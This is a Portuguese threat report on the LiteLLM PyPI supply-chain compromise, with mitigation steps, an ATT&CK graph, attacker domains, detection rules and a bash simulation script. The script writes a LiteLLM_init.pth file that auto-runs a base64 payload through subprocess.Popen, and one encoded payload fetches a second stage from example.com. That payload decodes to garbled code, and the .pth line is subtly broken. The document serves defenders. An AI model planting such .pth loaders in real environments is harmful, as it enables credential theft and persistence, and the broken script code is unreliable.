Seu Portal de IA Era uma Porta Traseira: Dentro do Comprometimento da Cadeia de Suprimentos LiteLLM
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Uma violação na cadeia de suprimentos afetou o amplamente utilizado pacote LiteLLM Python no PyPI. As versões maliciosas 1.82.7 e 1.82.8 entregaram uma carga de três estágios projetada para roubar credenciais de nuvem, chaves SSH e segredos do Kubernetes, depois se movimentar dentro de clusters e estabelecer uma porta dos fundos persistente. A atividade é atribuída ao grupo criminoso TeamPCP e parece conectada a compromissos anteriores envolvendo ferramentas de segurança, incluindo Trivy e Checkmarx.
Investigação
Investigadores ligaram a cadeia de intrusão a uma ação comprometedora do Trivy GitHub que expôs um token de acesso pessoal, permitindo um push forçado de versões contaminadas do LiteLLM para o PyPI. Uma revisão de código revelou um carregador Python em camadas, pesado em Base64, que usava RSA-4096 e AES-256 para encenação protegida e exfiltração para domínios controlados por atacantes. A carga também criou pods do Kubernetes para acessar o sistema de arquivos do host e expandir a coleta. A reutilização da infraestrutura em PyPI, npm, Docker Hub, GitHub Actions e OpenVSX indicou uma campanha coordenada de múltiplos ecossistemas em vez de um sequestro de pacote isolado.
Mitigação
Bloqueie os domínios maliciosos identificados, gire quaisquer credenciais potencialmente expostas e remova artefatos LiteLLM_init.pth. Procure por persistência via a unidade de usuário systemd sysmon.service e investigue a criação inesperada de arquivos .pth. Reduza a exposição da cadeia de suprimentos impondo instalações verificadas por hash, limitando ou proibindo comportamentos de pós-instalação não revisados e aplicando filtragem de saída. Onde possível, adicione o monitoramento de impressões digitais JARM para sinalizar o tráfego associado a ASNs de hospedagem blindada conhecidos.
Resposta
Se houver suspeita de comprometimento, isole os sistemas impactados, termine os processos Python maliciosos e remova os pacotes trojanizados do LiteLLM junto com quaisquer arquivos de persistência. Gire todos os segredos colhidos imediatamente, priorizando credenciais de nuvem e LLM chaves de API. Implemente detecções para cadeias de execução codificadas em Base64 Python, quedas de arquivos .pth e atividade HTTPS POST anômala para models.litellm.cloud ou checkmarx.zone.
Palavras-chave: LiteLLM, ataque à cadeia de suprimentos, PyPI, TeamPCP, Trivy, Checkmarx, GitHub Actions, segredos do Kubernetes, persistência .pth, roubo de credenciais, RSA-4096, AES-256, filtragem de saída, impressão digital JARM.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef file fill:#e6e6e6 classDef process fill:#ffd966 classDef service fill:#c0c0c0 %% Node Definitions Section action_initial_supply_chain["<b>Ação</b> – <b>T1195.001 Compromisso de Dependências de Software e Ferramentas de Desenvolvimento</b><br/>Adversário obteve token de bot Aqua Security via fluxo de trabalho comprometido da ação Trivy GitHub"] class action_initial_supply_chain action tool_trivy_github_action["<b>Ferramenta</b> – <b>Nome</b>: Ação Trivy GitHub<br/><b>Descrição</b>: Fluxo de trabalho CI escaneando imagens de contêiner"] class tool_trivy_github_action tool process_publish_malicious["<b>Processo</b> – Publicar lançamentos maliciosos do LiteLLM no PyPI"] class process_publish_malicious process technique_supply_chain_attack["<b>Técnica</b> – <b>T1195.002 Compromisso da Cadeia de Suprimentos de Software</b><br/>Versões maliciosas do LiteLLM 1.82.7 e 1.82.8 enviadas para o PyPI"] class technique_supply_chain_attack technique technique_python_execution["<b>Técnica</b> – <b>T1059.006 Comando e Interprete de Scripts: Python</b><br/>Arquivo .pth carregado automaticamente no início do interprete"] class technique_python_execution technique file_pth["<b>Arquivo</b> – LiteLLM_init.pth<br/>Colocado em siteu2011packages, autou2011carregado pelo interprete Python"] class file_pth file technique_user_execution["<b>Técnica</b> – <b>T1204.002 Execução do Usuário: Arquivo Malicioso</b><br/>`pip install LiteLLM==1.82.8` aciona execução imediata da carga"] class technique_user_execution technique technique_credential_harvest["<b>Técnica</b> – <b>T1552.001 Credenciais em Arquivos</b><br/>Coletor lê chaves SSH, configurações de nuvem, arquivos .env, credenciais de banco de dados, carteiras de criptomoedas"] class technique_credential_harvest technique technique_metadata["<b>Técnica</b> – <b>T1552.005 Credenciais Inseguras: API de Metadados de Instância de Nuvem</b><br/>Consulta serviços de metadados AWS, GCP e Azure para tokens IAM temporários"] class technique_metadata technique technique_os_cred_dump["<b>Técnica</b> – <b>T1003 Despejo de Credenciais do Sistema Operacional</b><br/>Lê /etc/shadow e logs de autenticação para dados de credenciais"] class technique_os_cred_dump technique technique_obfuscation["<b>Técnica</b> – <b>T1027 Arquivos ou Informações Ofuscados</b><br/>Múltiplas camadas de base64, preenchimento binário, cargas riscadas, resolução dinâmica de API, criptografia AESu2011256u2011CBC, invólucro RSAu20114096"] class technique_obfuscation technique technique_exfiltration["<b>Técnica</b> – <b>T1041 Exfiltração Através de Canal C2</b><br/>Pacotes de credenciais criptografados enviados via POST HTTPS para models.litellm.cloud"] class technique_exfiltration technique technique_web_service["<b>Técnica</b> – <b>T1102.001 Serviço Web: Resolvedor de Drop Morto</b><br/>Backdoor verifica checkmarx.zone/raw para cargas de estágio secundário e relata status"] class technique_web_service technique technique_persistence["<b>Técnica</b> – <b>T1543.002 Criar ou Modificar Processo do Sistema: Serviço Systemd</b><br/>sysmon.service no nível de usuário instalado para persistência entre reinicializações"] class technique_persistence technique technique_container_lateral["<b>Técnica</b> – <b>T1543.005 Criar ou Modificar Processo do Sistema: Serviço de Contêiner</b><br/>Pods do Kubernetes privilegiados criados com acesso ao sistema de arquivos do host para movimento lateral em todo o cluster"] class technique_container_lateral technique technique_remote_services["<b>Técnica</b> – <b>T1133 Serviços Remotos Externos</b><br/>Backdoor persistente permite execução remota de comandos através de poller C2"] class technique_remote_services technique technique_defense_evasion["<b>Técnica</b> – <b>T1140 Deofuscar/Decodificar Arquivos ou Informações</b><br/>Decodificação em tempo de execução de carga de múltiplas camadas evita detecção estática"] class technique_defense_evasion technique %% Connections Section action_initial_supply_chain –>|usa| tool_trivy_github_action tool_trivy_github_action –>|leva a| process_publish_malicious process_publish_malicious –>|resulta em| technique_supply_chain_attack technique_supply_chain_attack –>|habilita| technique_python_execution technique_python_execution –>|carrega| file_pth file_pth –>|aciona| technique_user_execution technique_user_execution –>|causa| technique_credential_harvest technique_credential_harvest –>|também realiza| technique_metadata technique_metadata –>|combinado com| technique_os_cred_dump technique_os_cred_dump –>|ofuscado por| technique_obfuscation technique_obfuscation –>|leva a| technique_exfiltration technique_exfiltration –>|usa| technique_web_service technique_web_service –>|estabelece| technique_persistence technique_persistence –>|habilita| technique_container_lateral technique_container_lateral –>|suporta| technique_remote_services technique_remote_services –>|facilita| technique_defense_evasion "
Fluxo de Ataque
Detecções
Provável Criptografia ou Descriptografia de Arquivos com OpenSSL [Linux] (via linha de comando)
Visualizar
Arquivo foi Criado na Pasta Tmp do Linux (via evento de arquivo)
Visualizar
Uso Suspeito do CURL (via linha de comando)
Visualizar
Arquivo foi Criado na Pasta Temporária do MacOS (via evento de arquivo)
Visualizar
Provável Criptografia ou Descriptografia de Arquivos com OpenSSL [MacOS] (via linha de comando)
Visualizar
Possível Arquivo de Gancho de Configuração Específica do Site Foi Criado (via evento de arquivo)
Visualizar
Pacotes Python Maliciosos IOCs (via linha de comando)
Visualizar
Tentativa de Execução Suspeita do Curl [MacOS] (via linha de comando)
Visualizar
Criação de Arquivo de Serviço na Pasta Systemd (via evento de arquivo)
Visualizar
IOCs (DestinationIP) para detectar: Seu Portal de IA Era um Backdoor: Dentro do Compromisso da Cadeia de Suprimentos LiteLLM
Visualizar
IOCs (SourceIP) para detectar: Seu Portal de IA Era um Backdoor: Dentro do Compromisso da Cadeia de Suprimentos LiteLLM
Visualizar
Pacote Malicioso LiteLLM Detectado via Arquivo .pth e Uso de subprocess.Popen [Criação de Processo no Linux]
Visualizar
Exfiltração e Comunicação C2 através de Domínios Maliciosos no Ataque à Cadeia de Suprimentos LiteLLM [Firewall]
Visualizar
Execução de Simulação
Pré-requisito: A Verificação Prévia de Telemetria e Linha de Base deve ter sido bem-sucedida.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e as narrativas DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos incorretos.
-
Narrativa de Ataque e Comandos:
Um atacante que comprometeu o públicoPacote LiteLLMPyPI injeta um maligno.ptharquivo nomeadoLiteLLM_init.pth. O arquivo é colocado no diretório global de pacotes do site, garantindo que ele seja processado sempre que any O interpretador Python é iniciado. O.pthcontém uma única linha que executa uma carga codificada base64 viasubprocess.Popen. A carga baixa uma ferramenta de segundo estágio de um servidor C2 por meio de HTTPS (T1071.001) e grava credenciais roubadas em/tmp/creds.txt(T1552.*). Usando o gancho de inicialização do interpretador, o atacante alcança persistência sem modificar unidades systemd, evitando muitas linhas de base tradicionais de criação de processo.As etapas simuladas são:
- Crie o arquivo malicioso
.ptharquivo com código Python embutido. - Acione a inicialização do interpretador Python (por exemplo,
python3 -c "import sys"), fazendo com que o.pthseja executado. - O código embutido decodifica a carga base64 e a lança com
subprocess.Popen, gerando um processo cuja linha de comando contém ambosLiteLLM_init.pth(do caminho de importação do interpretador) esubprocess.Popen.
- Crie o arquivo malicioso
-
Script de Teste de Regressão:
O script abaixo automatiza toda a simulação de ataque no host de teste Ubuntu.#!/usr/bin/env bash set -euo pipefail # ---------- 1. Construa carga maliciosa .pth ---------- MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth" PAYLOAD_B64="aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHJvY2Vzcy5Qb3BlbihuYW1lPXNvdXJjZSwgc2hlbGxfcGF0aD0iL2Jpbj9jaG93IiwgY2xhc3M9ZnVuY3Rpb24oKSB7fSlzc2V0ZXJ0JkNsb3JlZChzc2V0KX0p" # Acima decodifica para um pequeno script python que faria download de uma carga de segundo estágio. # Por segurança em um ambiente de teste substituímos por um comando echo inofensivo. PAYLOAD_B64=$(echo -n "import subprocess,base64; subprocess.Popen(['bash','-c','echo malicious executed >> /tmp/malicious.log'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)" | base64 -w0) # Escreva o arquivo .pth – a linha é executada como código Python durante o início do interpretador echo "exec('import base64, subprocess; subprocess.Popen(base64.b64decode("${PAYLOAD_B64}"), shell=True)')" | sudo tee "${MALICIOUS_PTH_PATH}" >/dev/null echo "[+] Arquivo .pth malicioso criado em ${MALICIOUS_PTH_PATH}" # ---------- 2. Acione início do interpretador (gera telemetria) ---------- echo "[+] Acionando interpretador Python para carregar .pth..." python3 -c "import sys; print('trigger')" # ---------- 3. Verifique se a carga foi executada ---------- if grep -q "malicious executed" /tmp/malicious.log; then echo "[+] Carga executada com sucesso – a detecção deve disparar." else echo "[-] Carga NÃO executada – verifique o posicionamento e as permissões de .pth." fi -
Comandos de Limpeza:
#!/usr/bin/env bash set -euo pipefail MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth" # Remova o arquivo .pth malicioso if sudo test -f "${MALICIOUS_PTH_PATH}"; then sudo rm -f "${MALICIOUS_PTH_PATH}" echo "[+] Arquivo .pth malicioso removido." fi # Delete o arquivo de evidência criado pela carga if test -f "/tmp/malicious.log"; then sudo rm -f "/tmp/malicious.log" echo "[+] Limpou /tmp/malicious.log." fi # Opcionalmente remova a regra de auditoria (se você adicionou uma regra de teste dedicada) # sudo auditctl -d sempre,saida -F arch=b64 -S execve -k criacao_de_processo